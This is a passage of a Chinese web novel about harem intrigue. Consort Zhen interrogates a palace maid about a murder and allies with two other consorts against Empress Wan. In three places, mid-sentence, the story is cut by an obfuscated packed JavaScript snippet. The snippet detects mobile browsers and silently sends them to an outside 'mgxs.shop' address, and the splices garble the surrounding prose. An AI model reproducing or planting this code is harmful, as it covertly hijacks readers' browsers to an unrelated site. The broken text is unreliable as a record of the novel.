周颐点了点头,“据说德嫔和林美人醒来后,口中一直声称有‘冤魂索命’,还说看见了杨彩兰和郑尚食的脸,说的有鼻子有眼的。如今宫里如今人人自危,就连尚食局的宫女们都已经开始烧香祈福了。” 宜含闭目养神片刻,脑海中盘算着下一步。 她知道,这场闹鬼的风波不过只是一个开始。 贞妃和贤妃在等她表态,但若她加入,只怕三人联手也未必是万皇后的对手。 她已经意识到,万皇后最大的倚仗不是她正位中宫,而是天子垂幸。如果不是姬阆对她处处包容,她何以稳居皇后之位。 “我想……” 宜含忽然睁眼,眼中闪过一丝决然,“见素月一面……贞妃说她和杨彩兰有旧,我要亲口问问,究竟是什么冤屈,让她敢在宫里烧纸。” 周颐一怔,赶紧劝道:“娘娘三思!若是被皇后察觉了,只怕会打草惊蛇。” 宜含摇摇头,苦笑道:“郑尚食的死就是前车之鉴,我想要赌一赌,看素月知不知道那些见不得光的秘密。若她肯说,咱们就又多了一张牌。” 周颐应了一声,下去安排两人见面的事。 与此同时,坤宁宫内,万皇后端坐在凤椅上,脸色阴沉的可怕。 汪嬷嬷跪在地上,战战兢兢禀报搜园的结果:“娘娘,静园并无异样,只是……宫中谣言四起,奴婢已让人抓了几个散布鬼魂之说的宫女,正在审问。” 皇后冷哼一声,手中的佛珠被她捏得咔咔作响:“审?可又审出什么了?那些贱婢一口咬定亲眼所见。依本宫看,分明是有人在背后捣鬼!贞妃、贤妃,还有永和宫……没一个是安分的!德嫔和林美人只怕也在后面推波助澜!” 汪嬷嬷低头,不敢接话。 万皇后深吸一口气,眼中杀机毕现:“你即可去请万岁爷的旨意,谁要是敢在宫中捕风追影,以讹传讹。不必审问,就地打死!本宫倒要看看,宫里的人究竟是怕本宫?还是怕那些子虚乌有的鬼神!” 她不打算心慈手软,决心要以杀止杀。 汪嬷嬷不禁打了一个寒颤,深知万皇后是动了盛怒,宫里就要变天了…… 坤宁宫的烛火摇曳,拉长了万皇后的影子,仿佛就一同一张巨网。 另一边,贞妃和贤妃相对而坐,桌上摆着热腾腾的姜汤。 贤妃搅着碗中的汤匙,忧心忡忡道:“贞姐姐,咱们放出的风声,皇后果然动了。可甄氏那边没有一丁点的动静。她若不肯联手,咱们岂不是白费力气?” 贞妃笑了笑,眼中狡黠一闪:“急什么?年关将至,总是有热闹可瞧的。她若真想报失子的仇,早晚会来找上咱们。你我且耐心等着便是。” 贤妃叹了口气,点头称是。 年关将近,宫中本该张灯结彩,喜气洋洋,可在鬼神之说的禁令下,人人自危。谣言如野火般蔓延,谁也不知下一个倒霉的会是谁。 是夜,在静园的偏殿里,周颐小心地将素月带了进来。 此时,素月的脸上满是惶恐,她跪在地上,额头几乎贴着地砖,声音颤抖:“娘娘……奴婢参见贵妃娘娘。不知娘娘召奴婢来,有何吩咐?” 宜含坐起身子,身上披着厚厚的狐裘,脸色虽苍白,却摆着贵妃的款儿,透着一股不容置疑的威严。 她挥手让周颐等人守在门外,目光直视素月:“本宫今日是想要问你一件事,若你的回答让本宫满意了,自是少不了你的好处。可若是你胆敢敷衍了事,本宫就让你再也见不到明日的太阳!” 闻言,素月身子一颤,她头捣如蒜,声音近乎碎裂,“单凭贵妃娘娘吩咐,只是不知娘娘想要问些什么?” 宜含直勾勾盯着素月,声音古井无波:“本宫想知道……杨彩兰的真正死因……” 素月目光一滞,似乎是惊恐,她猛然抬头与宜含对视一眼,而后快速将头埋下,好半晌才支支吾吾道:“贵……贵妃……贵妃娘娘,奴婢什么都不知道,奴婢只知道杨彩兰是畏罪自尽的,其他的一概不知……” 宜含眼中闪过一丝冷芒。 她缓缓靠回软枕,声音虽轻,却带着丝丝寒意:“素月,你是万岁爷身边的人,本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590344|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫自然信得过你。可你莫要忘了郑尚食的下场!你若不说,本宫也能从旁处查出真相。只是……到那时,你这小命……” 宜含没有继续说下去,只是若有其事地玩弄着指甲,威胁之意不明而喻。 素月跪在地上,身子抖如筛糠,额头上的冷汗一滴滴渗入地砖的缝隙。 她咬紧牙关,脑海中回荡着杨彩兰临死前的嘱托,那张苍白的脸,那双绝望的眼睛,仿佛就在眼前。 皇后娘娘的手段,这些年她自然是见识过的,郑尚食的“失足落水”,也只不过是冰山一角。 若她现在开口,坤宁宫的刀子只怕是紧跟着就会落下。可若不说,这位贵妃娘娘的眼神,分明已动了杀机。 “娘娘……奴婢……奴婢真的不知啊!”素月的声音带着哭腔,她抬起头,眼中泪光闪烁,“杨姐姐虽也是御前的人,可她……她平日里与奴婢也只是点头之交。她的死,宫里已结了案,奴婢又怎么敢多嘴?” 宜含不紧不慢地端起一旁的茶盏,浅抿一口,热气氤氲中,她的脸色越发苍白,却透着一种病态的美丽。 “只是点头之交?” 她将茶盏放下,声音很轻:“本宫听说,你在静园烧纸哭冤,便是为她鸣不平。素月,你若真与她无甚瓜葛,又何必冒此大险?在宫里烧纸是大忌,你难道不怕掉脑袋吗?” 素月心头一惊,顿时面色大变,整张小脸煞白如纸。 她没想到贵妃竟已知晓静园的事! 难道是贞妃她们走漏了风声? 她猛地叩头,额头磕在地上,发出闷响:“娘娘饶命!奴婢……奴婢也是一时伤心,才犯浑做了傻事。可奴婢真的不知内情啊!求娘娘开恩!” 见此,宜含冷哼一声,似乎是没了耐心,她不由一拍手下的桌案,声音拔高了几分:“给脸不要脸!” 周颐和两个小宫女立即闻声而入,目光落到宜含身上,似乎是在等待宜含的吩咐。 素月知道,甄贵妃说要杀了她,绝对不是开玩笑,她是真的动了杀心。 宫里这些主子们,手里握着生杀予夺的大权,纵使她是御前宫女,有几分体面。不过在这些主子们跟前,她依然渺小如蝼蚁。 素月的脑海中闪过杨彩兰死前的惨状,那双眼睛里的不甘和绝望,仿佛在她耳边低语。 素月突然抬起头,泪水混着额头上的血迹,糊成一片。 她扑身上前,伸手抓住宜含的裙角,声音嘶哑,“娘娘,奴婢若是将杨彩兰的死因全盘托出,您总得给奴婢一个自保之策才是。” 话音刚落,只见素月直视宜含,继续道:“若是奴婢没了指望,早死晚死又有什么区别,还不如将秘密带进棺材里!”” 素月现在无比冷静,甄贵妃在得到秘密之前,只要没有触及到她的底线,绝对是不会轻易对她出手的。 宜含闻言,眼中闪过一丝意外。 她没想到到了生死关头,素月会爆发出这样的胆量。于是,她对着周颐等人摆摆手,示意她们出去。 殿内烛火摇曳,拉长了二人的影子。 周颐和两个小宫女再次守在门外,殿中只剩她们二人,紧张的气氛如同绷紧的弓弦,一触即发。 9. 第 9 章 “说罢,你打算让本宫给你什么保证?是想要银子?还说是,要本宫送你出宫?” 盯着下首的素月,宜含面不改色地开口道。 素月摇摇头,冷静道:“奴婢在宫中多年,不敢说万贯缠身,倒也存了一份体己。至于出宫,那就更不必娘娘费心。奴婢若真的出了宫,那才是死路一条了。” 她很清楚万皇后的手段,若是自己出了宫,必然是上天无路,入地无门。万皇后会毫无顾忌地出手了断她的小命。 宜含听的有些糊涂了,声音不由高了几分:“那你究竟想要什么?” “若娘娘不嫌弃,奴婢想要到永和宫去侍奉娘娘左右。娘娘深受皇恩,又得万岁爷看重,只有得到娘娘的庇护,奴婢有了活下来的指望,才能将杨彩兰的死因毫无保留地告诉娘娘。” 这个答案是宜含万万没想到的,她深深看了宜含一眼。 素月倒也不傻,知道宫外是死路,坤宁宫的爪牙无处不在。 留在她的永和宫虽是寄人篱下,却有她这个贵妃做靠山,至少能多几分活命的机会。只是,此举她也要谨慎——素月毕竟是姬阆身边的人,她私自焚烧纸钱又是从贞妃口里传出来的,若是贞妃她们安插的细作,岂不是自找麻烦? 殿内烛火微微跳动,映得宜含的脸庞忽明忽暗。 罢了! “你想来永和宫?” 她定了定神,声音柔和了几分,却仍带着上位者的审视:“本宫虽不缺人伺候。但你既开了口,本宫也不是无情之人。只是,你得先证明你的价值……” 素月原本还有些惴惴不安,见宜含松口,心头不由大喜,面上却不敢表露出来。 她跪直身子,抹去脸上的泪花,声音低沉却无比清晰:“谢娘娘开恩!奴婢绝不敢欺瞒娘娘。杨姐姐的死……是坤宁宫那位一手策划的。坤宁宫那位,想来娘娘对她也是起了疑心的,否则不会找上奴婢。这些年,那位娘娘表面上贤良淑德,暗地里却是阴毒狠辣的。杨姐姐本就是替她顶了罪,最后逼得杨姐姐走投无路了,这才只得投了缳!” “你是说,杨彩兰是自尽的?” 宜含有些迟疑不定,旋即抛出了自己的疑问:“可杨彩兰既是御前的人,她为何不禀明万岁爷?” 素月面色惨白,半晌后,才缓缓道出一句:“杨姐姐为求自保,何曾没向万岁爷坦白一切,可万岁爷的心思,难道娘娘还不明白吗?” 言毕,她不再言语,只是静静地看着宜含。 宜含顿时如遭雷击,是啊,她怎么忘了! 当初周颐一直强调是万岁爷下旨结了案,默认了此事。她为何那般蠢,竟只顾着丧子之痛,将一切罪责归咎到万皇后身上。 若不是万岁爷的意思,当初东厂的人已经查出些马脚,何故又匆匆结了案,姬阆分明知道是万皇后动的手脚! 在姬阆打她那一巴掌的时候,她就该想明白的!就该想明白的才对…… 明明已经对他失望了,可当她听到这些后,为何心还是好痛,好痛…… 宜含有些绝望,泪水夺眶而出。就连手,也不由自主地握紧了狐裘的边角,指节因用力而泛起青筋。 殿内的烛火仿佛也黯淡了几分,空气中弥漫着一种沉重的压抑。素月的话如一把尖刀,直刺她的心窝。 姬阆对万皇后既然这般看重,对她在宫里搅动风雨,残害皇嗣的行为视若无睹。那她甄宜含,又算得了什么?贞妃、贤妃她们这些人又都算些什么!她们和那些无辜的孩子,难道只是一个物件,任人摆布吗! 此时,宜含很想冲进乾清宫去质问姬阆,问他,她们究竟算什么? 素月见宜含剧烈的反应,心下暗悔自己说得太直白。她低头道:“娘娘,奴婢只是猜测……万岁爷的心思,奴婢怎么敢妄言。” 闻言,宜含微微抬头看了她一眼,她的目光空洞,没有一丝神采。 这个她最爱的男人,也是杀死她孩子的凶手之一!如果不是他的放纵,万皇后又怎么会这样有恃无恐! 他明明知道万皇后杀死了他们的孩子,可他……可他为何还能面不改色地在坤宁宫留宿,与万皇后缠绵悱恻。 宜含悲愤交加,两种情绪充斥着她的身体,仿佛要将她生生撕裂开。 “够了!” 宜含低喝一声,她站起身子,步伐虽虚弱,却带着一股决绝。 “从今日起,你便是永和宫的人。明日我会向万岁爷要了你去,周姑姑会安排你的住处和差事。但你要记住,你的一言一行,本宫都会盯着。若有半点异心……” 素月连连叩首:“奴婢谢娘娘恩典!奴婢定当肝脑涂地,报答娘娘。” 宜含挥手让她退下,独自坐在椅子上,脑海中思绪翻涌。 年关将至,宫中的谣言已成燎原之势,万皇后选择以杀止杀,只会激起更多怨恨。贞妃和贤妃显然是在等她联手,既此,她应下又何妨。 但姬阆…… 想到他,宜含的眼中闪过一丝恨意。从前,她视他为天,为唯一。不惜为他争宠、生子。可如今,她明白了,在他的眼中,后宫诸人不过是棋子,甚至不过玩物尔。 万皇后才是他的心头好,她们不过是可有可无的一个物件罢。 “不……” 宜含喃喃自语,“我不能就这样倒下。是他无情在先,我又何必有意!皇后既然要杀,我便让她杀个够。让宫中血流成河,杀到他断子绝孙,孤家寡人,看他还能否如今日这般稳如泰山,坐视不理!” 次日清晨,周颐进来服侍宜含更衣,却见她已妆容齐整,脸色虽苍白,却透着一种从未有过的坚定。 “姑姑……” 宜含道,“去请贞妃和贤妃来永和宫一叙。就说本宫组了牌局,请她们过来打马吊。” 周颐一怔,随即会意,赶紧下去传话。 与此同时,坤宁宫内,万皇后听着汪嬷嬷的禀报,脸色铁青。 “奴婢已经按娘娘的旨意,昨儿杖毙了三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590345|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个胡言乱语的宫女,可……可谣言依旧不止……” 汪嬷嬷垂着头,声音愈发地低:“娘娘,宫正司已经抓了十几个了,这些贱婢全都一口咬定见过鬼影。奴婢已经让林宫正严加看管,但……但宫中人心浮动,只怕再这样下去,会闹出更大乱子。” 万皇后捏碎了手中的茶盏,碎片划破了手指,鲜血滴落,却浑然不觉。 “这些贱人!” 万皇后咒骂了一句,既恼怒汪嬷嬷她们办事不力,又怨恨后宫的那些嫔妃给胡言乱语的贱婢们撑腰! 她思量一番,决定拿为首的德嫔和林美人开刀,她们是最先传出谣言的,只有先堵了她们的嘴,才能以正人心! 从前是她顾及贤惠的名声,这才没有第一时间发作两人。如今看来,若是她在这般好性儿,这些人指不定还要怎么蹬鼻子上脸。 不过就在万皇后刚开始行动时,德嫔和宋美人有孕的消息不胫而走,却是打了她们一个措手不及。 年关的钟声即将敲响,而一场更大的风暴,已悄然酝酿。 贞妃和贤妃接到宜含的邀约,对视一眼,眼中皆是喜色。 “终于来了。” 贞妃笑道,“看来,甄氏到底还是忍不住了。” 贤妃点头,笑道:“终究还是姐姐足智多谋,算准了甄氏对万岁爷还留有几分情分在,若不是主动刺破了甄氏的妄念,只怕咱们还要空等些时日。” 贞妃端起茶盏押了口茶,她凤眸微微瞥过贤妃,会心一笑道:“甭说甄氏了,咱们不也都是这么过来的?万岁爷无情,坤宁宫那位又是容不得人的,咱们若还不思反击,倒还不如直接去景阳宫和肃妃作伴算了。” “姐姐说的是。” 贤妃长舒口气,“曾几何时,我也以为万岁爷对我是真心的,唉……” 贞妃显然要比贤妃看得开些,见贤妃这样,不由劝道:“妹妹就不要再伤春悲秋了。万岁爷的心思,咱们后宫这些年,到底还是看明白了几分。与其缅怀那些虚妄的旧情,不如想想如何扳倒坤宁宫那位。” 贤妃闻言,勉强笑了笑,收起那丝感伤:“姐姐说的是。咱们走吧,别让甄氏久等了。” “咱们走!” 贞妃起身摆了摆手,“快过年了,这场大戏,怎么也该开场了!” 就在两人起身整理各自的衣裙时,同时收到了德嫔和宋美人有孕的消息。 贤妃两人的脸色骤然一变,目光不约而同落在对方身上,从她们的脸上,满是不可置信的神情。 “贞妃姐姐,这怎么可能!” 贤妃跌坐回座椅上,有些难以相信。 德嫔和宋美人同时有孕,近乎立即就打乱了她们的计划。 贞妃闻言,脸色也阴沉了下来,她重新坐下,手中茶盏被她紧紧握住,指节微微发白。 她暗自思忖:算算日子,德嫔和宋美人……这一胎怕是甄贵妃小产之前就怀上了,否则怎么就这么巧,在这个时候传出喜讯? 10. 第 10 章 贤妃揉着眉心,声音带着一丝慌乱:“姐姐,德嫔和宋美人虽是咱们的人,可这有孕一事……若真是巧合倒也罢了。可若不是呢?这消息一出,万岁爷最重皇嗣,她们有孕在身,便是金身护体,谁敢碰她们一根指头?” 两人对视一眼,心中同时闪过一个念头——这消息来得太蹊跷了。 宫中谣言正闹得沸沸扬扬,皇后已杀红了眼,眼瞅着要对德嫔和宋美人下手,这个时候却突然爆出她们有孕。 莫非是她们急病乱投医?又或是……皇后自己布的局? 贞妃深吸一口气,强压下心头的震惊,目光扫视向来来报信儿的宫女,“消息可是真的?” 那宫女低着头,低声道:“消息是太医院传来的,两位主子的喜脉应当做不得假,万岁爷那边也应当已经得了信儿了。” 闻言,两人的面色又难看了几分。 贞妃猛地站起身子,在殿内来回踱步几圈,凤眸中闪动着复杂的光芒,有震惊,有恼怒,还有一丝隐隐的不安。 德嫔和宋美人有孕,这消息来得太过突然,太过巧合,仿佛上天特意在皇后下手前扔下的一枚护身符。 “该死!” 贞妃低声咒骂一声,停下脚步,转身看向贤妃,“妹妹,你怎么看? 贤妃揉着太阳穴,脸色苍白,声音带着一丝颤抖:“若咱们错失了利用德嫔她们的机会,让皇后得以喘息,她要是再暗中调查发现是咱们的动作……姐姐,咱们得赶紧想对策,不能让这事打乱了我们的计划。” 想到万皇后的手段,贤妃心下惊惧交加。 “妹妹,别慌!” 贞妃强行让自己冷静下来,分析道:“咱们先想想,德嫔是咱们拉拢的人,若她有孕,皇后必然投鼠忌器,轻易不敢杖责或审问。可这也意味着,皇后说不定会对她们出手……” 话音刚落,贞妃面色由悲转喜,她越说越觉的自己的推理没错,脸上不由露出一抹晦暗不明的笑意:“说不定,这反倒是件好事!” 听了这话,贤妃微微愣了愣,然后很快反映过来贞妃的意思,“姐姐是说……” 贞妃点了点头,“皇后最是容不得有孕的嫔妃,咱们这不正好借德嫔和林美人的肚子除了皇后!只要咱们谋划得当,让真相大白于天下,就算是万岁爷,也甭想再偏袒万氏这个毒妇!” 贤妃闻言,眼中闪过一丝亮光,她自是明白了贞妃的谋算,不由拍手称快:“姐姐高明!咱们只需暗中盯着德嫔和宋美人,待皇后一出手,便抓她现行!届时,证据确凿,再将此事传到外边去,她那贤后之名彻底崩塌,就算万岁爷容得下她,外边那些大臣们也要废了她!” 贞妃点头,笑意更浓:“正是此意。 “不过……” 贤妃似是想到了什么,微微皱了皱眉,跟着话锋一转道:“若是德嫔和宋美人舍不得腹中的龙胎,不配合咱们,又当如何是好?” 贞妃却是不以为意,狠声道:“这又有什么难的,难偏皇后做得,我们就做不得了?若她们不愿意,自还有我们帮她们一把!” 贤妃闻言,倒吸一口凉气,她看着贞妃那张带着狠厉笑意的脸,心下一颤。 贞妃向来心机深沉,可这番话出口,却透着一种赤裸裸的狠毒——为了扳倒皇后,竟不惜亲手毁了德嫔和宋美人的胎儿? 宫中的黑暗,她虽是早有领教,可听到贞妃这般直白地说出“帮她们一把”时,还是让她脊背发凉。 “姐姐……” 贤妃声音低了几分,眼中闪过一丝犹豫,“咱们这么做,若被德嫔她们察觉,只怕会适得其反。她们本是咱们的人,若逼急了,转身就头投靠了皇后,那咱们岂不是偷鸡不成蚀把米?” “贤妃妹妹多虑了!” 贞妃嗤笑一声,摆摆手,眼中寒光一闪:“且不说皇后容不下她们腹中的孩子,德嫔和宋美人这些年受皇后欺压,已然是对她恨之入骨。咱们只需暗中行事,若她们还不识趣……哼,那胎儿本就是个祸根,早些除掉也好。宫中安胎药多得是,多加一味‘意外’,谁又能查出什么端倪来?皇后这些年不就是这么干的吗?咱们学她一学,何乐而不为?” “再者……” 贞妃继续道:“皇后这些年害了那么多人,你我姐妹自是不必多提,肃妃、杨妃、恭嫔、甄氏,桩桩件件哪一件冤枉了她!咱们若不齐心协力拉她下马,指不定后面还有多少人要遭了她的毒手!” 贤妃默然片刻,终于点头,脸上也浮起一丝决然:“姐姐说得是。咱们后宫这些姐妹,谁又不是在火中取栗!为了大局,牺牲一两个……也不足为患。” 贞妃满意地笑了笑,起身道:“姐姐果然没看错你,咱们先去永和宫见甄氏,待咱们三人联手之事成为定局,再借此引皇后上钩。趁着年关宫宴文武百官、内外诰命朝贺时,便是咱们动手的最好时机!” 两人相视一笑,起身带着各自宫女出了殿门。 外头风雪已停,宫道上铺满了白霜,踩上去发出细碎的声响。 永和宫内,宜含坐在暖阁的软榻上,手边放着一副用象牙雕琢的马吊牌,精致非凡。 殿内幽幽飘着龙涎香,沁人心脾,让人闻了心口暖洋洋的,仿佛能驱散冬日的寒意。 周颐守在一旁,偶尔向炭盆添些银丝碳,确保殿内温暖如春。 贞妃和贤妃联袂而至,主殿外传来一道宫女的通禀声:“娘娘,贞妃娘娘和贤妃娘娘到了。” 宜含微微坐直身子,让人将贞妃两人请进来。 当贞妃进入主殿前,她不经意间地一瞥,却发现了一个熟悉的面孔,让她对心中的成算又多了几分把握。 “甄妹妹……” 贞妃的声音拉的老长,却是未见其人先闻其声。 不多时,迎面走进来两位神妃仙子般的人,正是贞妃二人。 打头的贞妃身着孔雀羽折枝梅花小袄,下着百子千孙凤尾裙,头上簪着各式各样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590346|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的发钗,贵气逼人。 紧跟其后的贤妃身着一袭兔毛大氅,配着织金妆花缎梅花裙,衬得她肌肤如雪,却是一位俏丽佳人。 她们对着上首的宜含福身行礼,口中称道:“给贵妃娘娘请安。” “两位姐姐不必多礼,咱们都是一样的人,又何必如此。” 宜含抬手虚扶了一把,声音虽柔和,却带着一丝疏离,“今儿雪停了,我想着年关将近,我一个人在宫里也是闷得慌,倒不如咱们姐妹一起聚一聚,也好热闹热闹。于是便冒昧请了两位姐姐来打牌,还请两位姐姐莫要见怪。” “妹妹这是哪里的话……” 贞妃笑了笑,眼中闪过一丝精光,她落座后,一言不发。 见此,宜含哪有什么不明白的,令人给二人看茶后,就屏退了左右。 贞妃这才开了金口:“妹妹有心了。这些日子,宫里乌烟瘴气,能有这么一时半刻的清闲,已是难得了。” 贤妃点头附和,端起茶盏浅浅抿一口后,从贞妃那儿接过话:“自上次一别,我和贞姐姐虽是念着妹妹,想着什么时候再过来探望妹妹的,只是又害怕扰了妹妹清养,耽误妹妹养病。今儿既是妹妹主动请了我和贞姐姐过来,不打个三五圈,我们可是不依的。” 闻言,宜含笑了笑,“这是自然,我既请了两位姐姐来,自然要让姐姐们尽兴。” 待三人落了座,宫人们摆上好牌桌,周颐被强拉着去凑了个人数,牌局很快就开始了。 马吊牌在她们手中翻飞,几人一面摸牌,一边闲话家常,从宫里时兴的花样,再到衣裙和簪钗翠环,聊的很是投入。 在第一局刚过半的时候,贞妃忽然放下手里的牌,叹了口气:“说起来,年关将至,万岁爷怕是又有的忙了,也不知什么时候得了闲,能到我的玉堂宫坐坐。” 见贞妃引出话题,贤妃将手里的牌打出去后,紧跟着道:“万岁爷就一个人,宫里的姐妹们却都还指望着他什么时候降下雨露,我算是绝了这份心思了……” 话音刚落,她话锋一转,“反倒是甄妹妹,你身子刚好些,可得要仔细保重。今儿我出门的时候,听说德嫔和宋美人有了喜讯,这可是宫中许久不曾有的大喜事了。妹妹还年轻,把身子养好,什么时候再怀上一胎,甭让德嫔她们占了先机不是。” 闻言,宜含的手微微一顿,她倏地抬起头,目光在两人的脸上停留片刻,嘴角漾起一丝笑:“还是贤妃姐姐的消息灵通,德嫔和宋美人得此恩泽,确实是喜事。只是……宫中近日风波不断,她们有孕在身,只怕没那么轻松……” 贤妃闻言,眼中闪过一丝异色,她轻抚牌面,声音压低:“妹妹所言极是。德嫔和宋美人平日里与我们交好,如今有孕,我们姐妹自当多照应一二。只是……” “妹妹也该知道,宫里有些人是容不得人的,想要求一个安然无事,只怕是难啊!” 贤妃没有明说,可宜含知道这是暗戳戳地在说万皇后。 11. 第 11 章 宜含吃了贤妃一张牌,似是无意地回了一句:“贞妃姐姐以为呢?” 见宜含将话题引向自己,贞妃虽有些诧异,却也正中她的下怀,只见她不紧不慢地扔出一张牌,目光旋即落到宜含身上,贝齿轻起:“姐姐愚钝,比不得两位妹妹聪慧,只是在宫里多熬些时日罢了。” “不过……” 她话锋一转,“所谓是见得多了,也就见怪不怪了,历朝历代,宫里不外如此。比起文庙老爷一朝,咱们算是安稳的了。” 贞妃口中的文庙是近两百年的君主,他在位时,皇后闫氏跋扈,戕害嫔妃,燕啄皇孙,甚至公然做出给有孕嫔妃灌下毒药的举动,引的后宫人人自危。 偏闫皇后的母家手握重权,后宫众妃是敢怒不敢言,就连文庙也畏惧闫家的势力。见识到闫皇后的残忍后,文庙年纪轻轻就宴驾了。因文庙无嗣,就皇位的归属,引发了很大的冲突和流血事件,朝局为此动荡不安,继而爆发了五王之乱。 在这样的动乱之下,闫皇后和扶持的儿皇帝自尽,闫家灭门,令人唏嘘。 似乎因此耗光了大周的国运,没过几十年,北燕举兵南下,昭庙皇帝于旧都顺天自焚而亡。所幸高庙在金陵再建大周,一直到世庙时北上迁都东京。 只是自此之后,不选高门大户之女为妃,逐渐成为一种定例。自高庙以来,出身最高的郭皇后,也只不过是知府的女儿。 宜含她们都清楚这段旧事,因此听懂了贞妃的深意。 她深深看了贞妃一眼,心道:贞妃这是意有所指啊!分明就是在借古讽今,借着说闫皇后的事,来影射万皇后! 见此,宜含也借坡下驴,就事论事道:“姐姐说这些就没意思了,闫皇后出身显赫,其父闫敬铭又是宰辅,连文庙少不得都要看他的脸色行事。闫皇后即便为非作歹,自是有这份底气在。” 宜含话音刚落,殿内一时安静下来,只剩马吊牌在桌案上轻轻碰撞的声音。 贤妃低头看着手中的牌,似乎是在斟酌出牌,暗中却也留意着两人的对话。 她略思考了片刻,不紧不慢地接过了话茬,微微带着一丝试探:“甄妹妹说的是,闫皇后仗着家世行事无忌惮。可文庙那朝,终究是因她而乱,闫家灭了门,闫皇后也被乱军逼的自尽而亡。可见,天道好轮回苍天饶过谁,自个儿做了什么恶,老天爷都记着呢。不是不报,时候未报罢了。” 贞妃闻言,笑了笑,眼中透着狡黠:“贤妃妹妹所言极是,那些年,闫皇后害了多少皇嗣和嫔妃!文庙老爷无后才引得五王之乱,差点亡了大周的江山社稷。咱们大周能有今日,多亏了高庙中兴。可惜,有些人就是不长记性,总以为手握权柄,就能为所欲为。妹妹们说,是不是这个理?” 宜含心下明了,两人这是暗指万皇后如今的所作所为,与闫皇后如出一辙。 “两位姐姐说的有理。闫皇后当年众目睽睽之下给后妃灌下毒药,的确是天怒人怨。只是……文庙畏惧闫家权势,不敢严惩才酿成大祸。咱们今上睿智圣明,总不会坐视不管吧?” 宜含冷不丁地抛出一记重锤。 此话一出,贞妃和贤妃的脸色齐刷刷一变。 就连周颐也不禁抖了抖身子,似乎没想到宜含突然说出这样大不敬的话。 贞妃她们快速交换了一个眼神,最后是贤妃率先放下牌,轻叹了一声:“妹妹年轻,有些事看一时得不透也是有的。咱们万岁爷自然圣明,可后宫之事,向来是皇后娘娘掌管。” 说到皇后时,贤妃压低了声音。 贞妃点头附和,声音压得更低:“文庙当年畏惧闫家,咱们……又何尝不是如此?只怕有些事,万岁爷也是睁一眼闭一眼罢。” “妹妹你小产一事,我们姐妹都看在眼里。那杨彩兰和郑尚食的死,更是疑云重重。咱们若不齐心,只怕下一个便是德嫔和宋美人腹中的孩子。妹妹,人无害虎心,虎有伤人意……这样下去总也不是个法子,我们也该想想出路了……” 话说到这个份上,两人几乎算是开诚布公了。 宜含闻言,手中的牌微微一紧。 她不由想起素月的话,姬阆对万皇后的偏袒,已让她心寒至极。 文庙畏惧闫家!对闫皇后的行经坐视不理! 可姬阆又何尝不是一种视而不见?他对万皇后的偏爱,尽数转化了万皇后对她们的加害! 她深吸一口气,面上却不露声色:“那两位姐姐的意思呢?” 贞妃只是笑了笑,没有接话。 贤妃脸上同样浮现出一抹笑意,她没有回答宜含的问题,瞥了贞妃一眼后,自顾开口道:“原先我养了一只巴儿狗,那巴儿狗是万岁爷赏的,跟雪团似的,平日里最是乖巧不过。我本就喜欢这些小玩意儿,便日日给它好吃好喝,还让墨香她们给它做了小衣裳,宠得不行。” 宜含和贞妃闻言,都没有插话,只是静静听着。 见此,贤妃继续道:“谁知没过几个月后,那巴儿狗忽然性情大变,每每带它出去时,就冲着宫里其他猫儿狗儿是又咬又抓,还险些伤了人。” “我起初还只当是它病了,专门请让太医瞧了瞧,可太医说它壮实得很,根本没什么毛病。直到后来……我才慢慢发现,原来是它只是仗着我的宠爱,以为整个宫里都是它的地盘,谁都得让着它。结果呢?有一次它咬伤了皇后娘娘的玉狮子,皇后娘娘大度,自是不会跟畜生一般见识。可宫里那些猫儿狗儿便不会如此了……” “不知是不是恨极了那蠢物,在一个夜里,宫中的狸奴一哄而上,竟然咬死了它!” 说到此处,贤妃的眼中闪过一丝黯然,她轻叹一声:“我那时心疼得不行,哭了好几天。可后来想通了,又没有那般心痛了,那巴儿狗的死,本就是它自己作出来的。我宠它,它却不知分寸,只知道仗势欺人。到头来,终究还是害了自个儿。” 宜含心下明了,贤妃这是在借狗喻人,将万皇后比作那仗宠生娇的巴儿狗,而姬阆便是那纵容的主人。 而那些狸奴,似乎…… 她不再多想,微微笑了笑,“贤妃姐姐这故事有趣。只是……” “那巴儿狗到底是畜生,不知人事。可人不同,人有心机,有算计。若是主人明知它的恶行,却依旧纵容,那岂不是主人的过错?” 三人都听明白了弦外之音,宜含这话就有些诛心了! 贞妃终于坐不住了,她将手中的牌缓缓推到一边,“妹妹说的极是,只是主人若有什么意外,那家中豢养的花鸟鱼虫,岂不是连带着遭了大难?” 闻言,宜含心头微微一凛。 “花儿也好,雀儿也罢,到底还是要靠主人活命的!” 贞妃一锤定音,算是结束了这番关于“主人”过错之辩。 